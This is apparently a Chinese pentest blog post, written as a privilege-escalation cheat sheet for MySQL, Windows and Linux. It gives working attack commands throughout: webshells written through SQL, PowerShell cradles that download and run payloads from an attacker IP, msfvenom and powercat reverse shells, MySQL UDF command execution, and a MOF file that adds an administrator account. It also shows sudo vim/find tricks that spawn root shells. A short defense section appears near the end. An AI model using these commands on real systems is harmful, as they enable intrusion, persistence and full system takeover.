提权

1.1.权限说明

  • 后台权限:SQL注入,致据库备份泄露,默认或弱口令等获取帐号密码进入。

  • 网站权限:后台提升至网站权限,RCE或文件操作类、反序列化等漏洞直达shell。

    前提:

    • 已知网站物理路径且该路径有写权限

    • 高权限数据库用户

    • secure_file_priv 无限制

      在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

      在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

into outfile文件

1
select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';

sqlmap 下可以执行如下操作:

1
sqlmap -u "http://x.x.x.x/?id=x" --file-write="/path/to/shell.php" --file-dest="/var/www/html/test/shell.php"

一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows 环境下成功率会很高。

terminated by 写文件

1
?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

general log 写文件

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell

general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中

1
2
3
4
5
6
7
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+---------------------------------+
| Variable_name | Value |
+------------------+---------------------------------+
| general_log | OFF |
| general_log_file | /var/lib/mysql/c1595d3a029a.log |
+------------------+---------------------------------+

通过将 general_log 存储位置改为 web 目录。同时,向日志文件里面写入内容的话,那么就可以成功 getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='/var/www/html/info.php';

# 查看当前配置
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-----------------------------+
| Variable_name | Value |
+------------------+-----------------------------+
| general_log | ON |
| general_log_file | /var/www/html/shell.php |
+------------------+-----------------------------+

# 往日志里面写入 payload
select '<?php phpinfo();?>';

访问这个php文件呢,会出现 HTTP 500 的状态码

  • 数据库权限:SQL注入数据库备份泄露。默认或弱口令等进入或网站权限获取后转入。

    • 3306 弱口令爆破
    • sqlmap 的 –sql-shell 模式
    • 网站的数据库配置文件中拿到明文密码信息
    • mysql 1day 漏洞获取权限
  • 接口权限:SQL注入,数据库备份泄露,源码泄漏,配置不当等或网站权限获取后转入。

  • 系统权限:高危系统漏洞直达或网站权限提升转入、数据库权限提升转入。第三方转入等。

  • 域控权限:高危系统漏洞直达或内网横向渗透转入,域控其他服务安全转入等。

1.2.权限提升流程

后台权限>web权限>系统权限>域控权限

1.3.中间件语言类权限

jsp、java搭建的站点连接上后直接就是系统权限。

2.1.windows:

Windows提权大概有三个方向:溢出提权、数据库提权、第三方软件提权、错误的系统配置提权、组策略首选项提权、窃取令牌提权、bypassuac提权,第三方软件/服务提权,WEB中间件漏洞提权等。

如果遇到无法执行命令的话,可以试着上传cmd.exe文件之可执行的目录下。

2.1.1常见命令

1
2
3
4
5
6
7
8
9
10
11
systeminfo 查询系统信息
hostname 主机名
net user 查看用户信息
netstat -ano|find "3389" 查看服务pid号
wmic os get caption 查看系统名
wmic qfe get Description,HotFixID,InstalledOn 查看补丁信息
wmic product get name,version 查看当前安装程序
wmic service list brief 查询本机服务
wmic process list brief 查询本机进程
net share 查看本机共享列表
netsh firewall show config 查看防火墙配置

2.1.2提权方式

一般通过找对应版本的exp,去进行利用

利用cs工具,监听成功后,去用插件提权

msf

工具

winPEAS

1
2
https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
WinPEAS 是一个脚本,用于枚举目标系统以发现权限升级路径。

accesschk

1
2
3
4
5
6
7
accesschk是微软提供的一款安全检查工具,是Sysintenals集合中的一款工具,作为确保他们创建安全环境Windows管理员通常需要知道特定用户或组对资源(包括文件、目录、注册表项、全局对象和Windows服务)拥有哪些类型的访问权限。
accesschk.exe /accepteula( /accepteula一定要加上去,否则会自动弹出一个是否接收许可协议)
-q 忽略banner
-u 忽略错误
-v 详细信息
-w 只显示拥有可写权的对象
accesschk.exe /accepteula -uvwqk "路径可以根据WinPEAS返回结果填写"

系统内核溢出漏洞,而没有打相应补丁

2.1.3 windows下载文件和加载木马

windows下cmd窗口文件下载

bitsadmin

bitsadmin 可以用来在windows 命令行下下载文件。bitsadmin是windows 后台智能传输服务的一个工具,windows 的自动更新,补丁之类的下载就是用这个工具来实现的。Windows Server2003和XP是没有bitsadmin的,Winc7及其之后的机器才有。

bitsadmin 可以在网络不稳定的状态下下载文件,出错会自动重试,可靠性应该相当不错。

bitsadmin 可以跟随URL跳转.

bitsadmin 不像curl wget 这类工具那样能用来下载HTML页面。

1
2
3
4
5
6
bitsadmin /transfer test http://10.6.54.194:8000/reverse.exe c:\users\staccato\desktop\reverse.exe
# "任务名" 可以随意起,保存文件的文件路径必须是已经存在的目录,否则不能下载。

#默认情况下bitsadmin下载速度极慢,下载较大文件需要设置优先级提速
start bitsadmin /transfer test http://10.6.54.194:8000/reverse.exe f:\reverse.exe
bitsadmin /setpriority test foreground #设置任务test为最高优先级

certutil

一款下载文件的工具,自从WindowsServer 2003就自带。但是在Server 2003使用会有问题。也就是说,以下命令是在Win7及其以后的机器使用。但是该命令的使用会引发杀毒软件的查杀,所以在实际渗透中几乎不适用该命令.

1
2
certutil -urlcache -split -f http://10.6.54.194:8000/reverse.exe #下载文件到当前目录下
certutil -urlcache -split -f http://10.6.54.194:8000/reverse.exe c:/users/staccato/desktop/reserver.exe #下载文件到指定目录下

iwr

PowerShell下的一款工具,所以我们如果在cmd下执行该命令的话,需要在前面加powershell命令,但是这会被安全软件检测到。所以在执行前,先进入powershell下。

1
iwr -Uri http://www.test.com/vps.exe -OutFile vps.exe -UseBasicParsing

Window下加载执行PowerShell脚本

本地

在cmd当前目录下有PowerView.ps1脚本,并执行其中的Get-Netdomain模块

1
powershell -exec bypass Import-Module .\powerview.ps1;Get-NetDomain

远程

远程下载并执行test.ps1脚本

1
powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://xx.xx.xx.xx/test.ps1')

远程下载PowerView.ps1脚本,并执行其中的Get-Netdomain模块

1
powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://xx.xx.xx.xx/powerview.ps1');import-module .\powerview.ps1;Get-NetDomain

windows反弹shell

cmd反弹msf shell

首先在kali上操作

1
2
3
4
5
6
7
8
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.6.54.194 lport=7788 -f psh-reflection -o 7788.ps1        #生成木马文件 7788.ps1
python -m SimpleHTTPServer 80 #开启web服务
#MSF监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.6.54.194
set lport 7788
run

目标机器上操作

1
2
3
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://http://10.6.54.194:8000/7788.ps1');xx.ps1"  #后台运行
或者
powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.6.54.194:8000/7788.ps1');xx.ps1'

cmd窗口下利用Powershell反弹NC shell

1
2
3
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 10.6.54.194 -p 8888 -e cmd

powershell -nop -exec bypass -c "IEX (New-Object System.Net.Webclient)DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 10.6.54.194 -p 8888 -e cmd.exe"

cmd窗口下利用Powershell反弹cs shell

注: windows10 经常性不能用。windows 2008R2以下百分百适用。

1
2
3
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.6.54.194:8080/a'))"   #后台运行

powershell.exe -c "IEX ((new-object net.webclient).downloadstring('http://10.6.54.194:8080/a'))"

参考

工具和文件下载部分,参考先知社区断*奏

2.2Mysql提权

udf

User Defined Function - 自定义函数,添加新函数在sql语句中调用

拿下一台windows服务器的webshell时,由于webshell权限较低,有些操作无法进行,而此时本地恰好存在mysql数据库,那么udf可能就派上用场了;

尝试udf提权,其实质就是以MySQL的身份执行系统命令

条件

1.secure_file_priv为空,有导入导出权限

2.有上传目录

3.账号有insert和delete权限

mysql版本>=5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建MySQL\Lib\Plugin\文件夹(通过菜刀连接创建、或通过mysql语句创建),然后将udf.dll导入到该目录(如果不事先在靶机创建plugin目录,可以尝试利用NTFS ADS流来创建文件夹的方法,但是会出错)

windows下可以这样创建目录:

先找到mysql安装目录

1
mysql> select @@basedir;

然后嘞,如下创建:

1
mysql>select 233 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';

mysql版本<5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录

dll常见函数

  • cmdshell 执行cmd;
  • downloader 下载者,到网上下载指定文件并保存到指定目录;
  • open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
  • backshell 反弹Shell;
  • ProcessView 枚举系统进程;
  • KillProcess 终止指定进程;
  • regread 读注册表;
  • regwrite 写注册表;
  • shut 关机,注销,重启;
  • about 说明与帮助函数;

手写实现

写入

show variables like "%plugin%"//查看文件目录是否存在

将dll文件写入plugin目录

*可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击*

1
sqlmap -u "http://localhost/" --data="id=1" --file-write="/path/to/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"

没有注入的话,我们可以操作原生 SQL 语句,这种情况下当 secure_file_priv 无限制的时候,可以通过手工写文件到 plugin 目录下的:

1
2
# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

其中十六进制利用 MySQL 自带的 hex 函数来编码:

1
2
3
4
5
# 直接传入路径编码
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));

# 也可以将路径 hex 编码
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));

命令执行

并且创建函数

1
2
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select sys_eval('whoami');

清除痕迹

1
drop function sys_eval;

UDF shell

假设目标 MySQL 在内网情况下,无法直连 MySQL 或者 MySQL 不允许外连,这个时候一些网页脚本就比较方便好用了

UDF命令执行大马点击此处

使用 Navicat 自带的 tunnel 隧道脚本上传到目标网站上

msf实现

msf启用NC监听,然后目标机上导入dll动态链接库

再去自定义创建cmdshell函数

然后利用这个函数,select cmdshell('whoami')

可以创建反弹shell函数backshell

1
select backshell("IP", 3389);

然后创建用户,加入到管理员组。

攻击机利用创建的用户和密码进行远程桌面连接

ps:

Geekby’s Blog

防御

(1)尽量避免提供对外链接,通过mysql中的user表进行查看,禁用“%”。

(2)设置复杂的Root账号密码。

(3)对my.ini设置只读属性,设置plugin目录为只读目录。

MOF提权

mof是windows系统的一个文件,存储在:

c:/windows/system32/wbem/mof/nullevt.mof,叫做”托管对象格式

其作用是每隔五秒就会去监控进程创建和死亡。

然而提权的原理就是在拥有了mysql的root权限以后(其实就是获得了MySQL的启动身份),

然后使用该权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行

这个mof当中有一段是vbs脚本,这个vbs脚本段大多数写的是cmd的添加管理员用户的命令

如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了

条件

(1)操作系统版本:Windows Server 2003及以下版本

(2)有MySQL数据库的连接数据;

(3)MySQL的配置文件my.ini中的secure-file-priv参数要为空(这个空不是NULL);

(4)MySQL启动身份具有权限去读写c:/windows/system32/wbem/mof目录;

利用

1.上传一句话,蚁剑连接;

假设获得了数据库的连接数据。www/data/config.php

2.蚁剑连接数据库

执行命令

select user(); 查看当前用户

show variables like “%secure%”; 查看secure-file-priv参数

3.上传nullevt.mof文件到目标机的c:\recycler文件夹下,然后写入到c:/windows/system32/wbem/mof/nullevt.mof文件夹下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5"; //5s执行一次
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test01 123 /add\")\nWSH.run(\"net.exe localgroup administrators test01 /add\")"; //要执行的命令
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

上传后,执行语句

select load_file('CL\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

如果写入失败就算了。

其实如果目标机设置了给MySQL的启动用户赋予完全控制mof文件夹以及子文件夹的权限的话,那就会写入成功。

同时成功创建了test01管理员组用户

其实写可以利用现成的mof.php文件,上传上去后,访问,进行一系列输入,自动写入mof文件。

mysql提权方法整理

2.3linux提权

Suid提权:普通用户去执行 root 权限的操作,而不需要知道 root 的密码

第三方软件提权

sudo提权

原理

借助到可以执行系统指令的交互式功能。就是分配给的权限太高导致的

例子

已知,普通用户xg有了个 vim权限

1
2
100 root    ALL=(ALL)       ALL
101 xg ALL=(ALL) /bin/systemctl,/usr/bin/vim

好,在xg用户下,sudo vim /etc/sudoers

把101行的第三列替换成ALL,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
[xg@xinguang /]$ sudo vim 1.txt
[sudo] password for xg:
[xg@xinguang /]$ ll
total 32
-rw-r--r--. 1 root root 370 Sep 21 16:04 1.txt


[xg@xinguang /]$ sudo vim 1.txt

(我在1.txt里面左下角那个冒号那里啊,输入了
!touch 5.txt,回车后再保存退出即可
)
Press ENTER or type command to continue
[xg@xinguang /]$ ll
total 32
-rw-r--r--. 1 root root 370 Sep 21 16:05 1.txt
-rw-r--r--. 1 root root 0 Sep 21 16:05 5.txt
//看,多了个5.txt,还是root的

继续


[xg@xinguang /]$ id
uid=1000(xg) gid=1000(xg) groups=1000(xg) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[xg@xinguang /]$ sudo vim 1.txt

左下角这样::!/bin/bash
回车

[root@xinguang /]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

通过vim权限拿到bin/bash,问你怕不怕,直接进入root用户操作终端

还有 find、awk,但凡可以执行系统指令,都可以进到root终端哈

find

1
2
3
4
[xg@xinguang /]$ sudo find /home -exec bash \;
[sudo] password for xg:
[root@xinguang /]#

脏牛提权

原理

linux内核的内存子系统,在处理写入时复制时产生了竞争条件;该漏洞将只读内存映射进行写访问

无实例

有现成的CVE-2016-5195工具嘞,解压到里面,dcow运行下就行了。

解决

升级系统或提高gcc版本

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信